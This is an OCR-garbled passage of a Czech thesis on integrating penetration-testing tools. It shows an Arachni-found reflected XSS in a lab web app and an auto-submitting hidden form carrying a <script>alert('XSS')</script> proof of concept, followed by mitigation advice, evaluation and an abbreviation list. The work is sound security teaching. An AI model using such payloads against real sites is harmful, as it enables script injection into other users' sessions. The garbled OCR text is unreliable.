&
[+]
http./fsecunia.com/advisories/9716/ e
http.//projects.webappsec.org/w/page/1 3246920/ Cross%205ite%205cripting e
httpsy/Mwww.owasp.orglindex. php/X55_%28Cross_Site_Scripting%%29_Prevention_Cheat_Sheet -]
CWE-79 e
&
[+]
post target_host target_host - dns-lookup-php-submit-button
http:/172.17.0.5/index.php?page=dn 172.17.0.5
POST findex.php?page=dns-lookup.php HTTR/1.1 -
Host: 172.17.0.5 -
HTTP/1.1 200 OK =

Date: Mon, 28 May 2018 13:3%:09 GMT

Obr. 17: Podrobnosti objevené zranitelnosti

Zranitelnost umoznuje injekci libovolného skriptu a jeho néasledné spusténi. Na za-

kladé ziskanych dat bylo zjisténo, ze zranitelnost se projevuje v parametru tar-
get__host metody POST.

POST /index.php?page=dns-lookup.php HTTP/1.1

Host: 172.17.0.5

Accept -Encoding: gzip, deflate

User-Agent: Arachni/v1.5.1

Accept: text/html,application/xhtml+xml,application/xml;
X-Arachni-Scan-Seed: 377860b48851017cd3e7eale7149853e
Cookie: PHPSESSID=suhl2momuripuda9lrlOchtf25;showhints=1

Content -Type: application/x-www-form-urlencoded

target_host=1%3Cxss_377860b48851017cd3e7eale7149853e%2F}%3E
&dns-lookup -php-submit-button=Lookup%20DNS
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Vzhledem k povaze zranitelnosti je nutno rici, ze k reflekci nedojde po kliknuti na
odkaz zranitelné stranky, jelikoz chyba byla nalezena pro metodu POST. Aby bylo
mozné provést utok na objevenou zranitelnost, je nutné vyuzit néjakého neskodného
webu, ke kterému mame pristup a jsme schopni do néj vlozit kéd, jenz zavola metodu

POST vaéi zranitelné strance.

<form name=MyAttackForm action=http://172.17.0.5/index.php
?page=dns-lookup.php method=post>

<input type=hidden name=target_host value=<script>alert (’
X88’);</script>>

<input type=hidden name=dns-lookup-php-submit-button
value=Lookup+DNS>

</form>

<script>

document .MyAttackForm.submit () ;

</script>

V ukézce jsme vytvorili formular ve skrytém iframeEl, ktery zasle pozadavek vuci
zranitelnému webu a tim pak provede vlozeny kéd. Metod pro doruceni je vice.
Namisto vytvareni vlastniho webu by tto¢nik mohl vlozit uvedeny kod do aplikace
tretich stran.

Pro ovéfeni nalezené zranitelnosti byl vytvoren jednoduchy [PoCl

Request

Raw | Params | Headers | Hex

FOST /index.php?page=dns-lockup.php HTTP/L.1
Host: 172.17.0.5

User-Agent: Mozilla/S5.0 (Windows NT 10.0;
WOWE4: rv:56.0) Gecko/201l0010L Firefox/56.0
Accept:

text/html, application/xhtml+xml, application/xml;q
=0.8,*/*:;q=0.8

Aecept-Language: en-US,en;qg=0.5
Accept-Encoding: gzip, deflate

Referer:
http://172.17.0.5/ index. php ?page=dns-lookup.php
Content-Type: application/x-www-form—urlencodsd
Content-Length: 88

Cookie: PHPSES3ID=88Iscofeo]8vp3iusgf4s85560;
showhints=1

DNT: 1L

Connection: close

Upgrade-Insecure-Requests: 1

targe:_host=ktnack<script>alert('XSS‘:;<!script>
Fdns—1ookup—php—submit—hut:on=Loakup+DNS

Obr. 18: Ovéreni nalezené zranitelnosti

0 v 7 z e
@y nofeny plovouci rém v [HTML
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Do parametru target host [HT TPl pozadavku metody POST byl vloZen fetézec
<script>alert(’XSS’);</script>, ktery se projevil vyvolanim chybové hlasky. Pres-
n&ji se jednd o reflected

Objevené zranitelnosti je mozné predejit pomoci vstupniho filtru specialnich
znaki. Timto povazujeme nélez za diuvéryhodny a mtzeme jej potvrdit, abychom si

udrzeli prehled o ovérenych zranitelnostech.

X | severityhigh Q
rscucon [ cssooresoion I sos J waeste I pan I recvos J ovierce I vt I s I params [ orame I cuery I respores I veo]
v DATE ¥ MAME ¥ SEVERITY 3% SERVICE % HOSTHAMES 3 TARGET %

| DS/28/2018  Cross-Site Scripting (XS5) 80/tep) http 172.17.05
im =T & r site scriptl 3 m ! 0 Nt

Obr. 19: Potvrzeni ovérené zranitelnosti

Vyhody a nevyhody

Hlavni vyhodou nastroje je jednoduchost jeho nasazeni a pouziti, ¢imz nesmirné
Setii cas penetracnim testerim a umoznuje nasadit funkéni a uzivatelsky prijemné
prostfedi pro analyzu i uchovani vysledki z penetracniho testovani béhem nékolika
minut.

Jako tskali shledavam nedostupné generovani reportt v komunitni verzi a omezené
moznosti importu vysledki do aplikace Faraday. Dostupna podpora nastroji je sice
rozsahla, ale nemusi nam stacit. Chybi vhodné optimalizace, kterd by urychlila

prubéh celého testovani.

6.3 Dalsi vyvoj

Vizi pro dalsi vyvoj je rozsifeni stavajici implementace o podobné néstroje pro
penetracni testovani. K uvaze prichazi nastroje jako je W3a@, OpenVASﬂ nebo
Nessu@. V nékterych ptipadech vsak bude muset dojit na implementaci vlast-
niho parseru vystupii. Jako vhodné povazuji pridani moznosti autorizace
vuci serveru pomoci cookie, kterd by se zadavala pri spousténi néstroje Vixen. Z
hlediska bezpecnosti by bylo vhodné aplikaci zabezpecit formou autorizace vici
serveru véetné pouziti a zpristupnit tak server vzdélené.

BUhttps://github.com/andresriancho/w3af
Blhttps://github.com/greenbone/openvas-scanner
B2https://www.tenable.com/products/nessus-home
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Pentester's Browser ff!"ff
OWASP ZAP Proxy
Docker Web Server

Obr. 20: OWASP ZAP proxy

Navic bych rad vyuzil oteviené ZAP OWASP proxy schopné pasivniho zachytavani
potencionalnich zranitelnosti a propojil tuto vlastnost s manualnim penetracnim
testovanim tak, aby bylo mozné objevené vyjimky automaticky zaznamenat prostired-
nictvim této proxy a nasledné reportovat do prostredi Faraday. Vse za predpokladu,

ze k exportu vysledkii dojde az po manudlnim ukonceni relace uzivatelem.
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7 Zavér

Hlavnim cilem této prace bylo uvést prostredky jez maji potencionalni i praktické
vyuziti pfi hledani zranitelnosti. Zpocatku jsem rozebral itvod do problematiky pen-
etracniho testovani, typy a faze, které se provadéji.

Ve treti kapitole jsem se zaméril na rozbor zranitelnosti OWASP Top 10 z roku
2017, jelikoz jsem to povazoval za vhodny zaklad pro pokracovani k nastrojim
samotnym, kterym se zabyva kapitola ¢tvrta. V ni jsem uvedl vybrané nastroje pro
manualni a poloautomatizované penetracni testovani, které se zdaly byt vhodnymi
kandidaty pro hledani zranitelnosti nejen na tdrovni webovych aplikaci. Na ¢astecné
srovnani nastroji bylo mozné narazit pii jejich rozboru. V praci jsem vyhradné
pouzil open—source a komunitni projekty pod verejnymi licencemi.

V paté kapitole jsem rozebral nastroje pro komplexni penetracni testovani, které
se staly soucasti implementace.

Posledni kapitola vysvétlila zaméry a architekturu implementovaného feseni.
Doslo k vybéru nastroju pro integraci na zakladé uvedenych skutecnosti. Aplikace se
stala soucasti Docker kontejneru, ktery proces nasazeni velmi zjednodusuje. Dtivo-
dem této volby byla snaha predejit problémim s kompatibilitou na jinych linux-
ovych distribucich. Byl fadné popsan postup instalace a pouziti nastroje Vixen s
testovanim konkrétniho cile. Doslo k detailnimu rozboru prostiedi Faraday za in-
terpretace vysledkli z penetracniho testovani pomoci nastroje Vixen. Uvedl jsem
prednosti i uskali takového Teseni a v posledni fazi jsem se pokusil nastinit budouci

vyvoj této aplikace.

62



SEZNAM SYMBOLU, VELICIN A ZKRATEK

WWW World Wide Web

IDS/IPS Introdusion Detection System/Introdution Prevention System
WAF Web Application Firewall

RASP Runtime Application Self-Protection Security
SSL/TLS Secure Sockets Layer/Transport Layer Security
URL Uniform Resource Locator

API Application programming interface

GUI Graphical User Interface

XML Extensible Markup Language

SQL Structured Query Language

CA Certificate Authority

HTTP Hypertext Tranfer Protocol

HTTPS HTTP spolupracujici s SSL/TLS

SMTP Simple Mail Transfer Protocol

[IAST Interactive Application Security Testing

DNS Domain Name System

OS Operating system

LDAP Lightweight Directory Access Protocol

XSS Cross-site scripting

DOM Document Object Model

HTML Hypertext Markup Language

OGNL Object-Graph Navigation Language

CGI Common Gateway Interface

SOAP Single Object Access Protocol

REST Representational State Transfer

JSON JavaScript Object Notation

CORS Cross-Origin Resource Sharing

JWT JSON Web Token

HMAC Keyed-hash Message Authentication Code
XPath XML Path Language

OWASP The Open Web Application Security Project
CSRF Cross-Site Request Forgery

JSON JavaScript Object Notation

DoS Denial of Service

MITM Man In The Middle

PHP Personal Home Page

IPE Integrated Pentest Environment
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CSP Content Security Policy

HSTS HTTP Strict Transport Security
AD  Active Directory

NSE Nmap Scripting Engine

TXT Text

BAT Batch

DOCX Word Document

HSTS HTTP Strict Transport Security
PGP Pretty Good Privacy

NVR Network Video Recorder

CLI Command Line Interface

CSRF Cross-Site Request Forgery

RFI Remote File Inclusion

SMB Samba

RPC Remote Procedure Call

YAML Ain’t Markup Language

AJAX Asynchronous JavaScript and XML
PoC Proof of Concept
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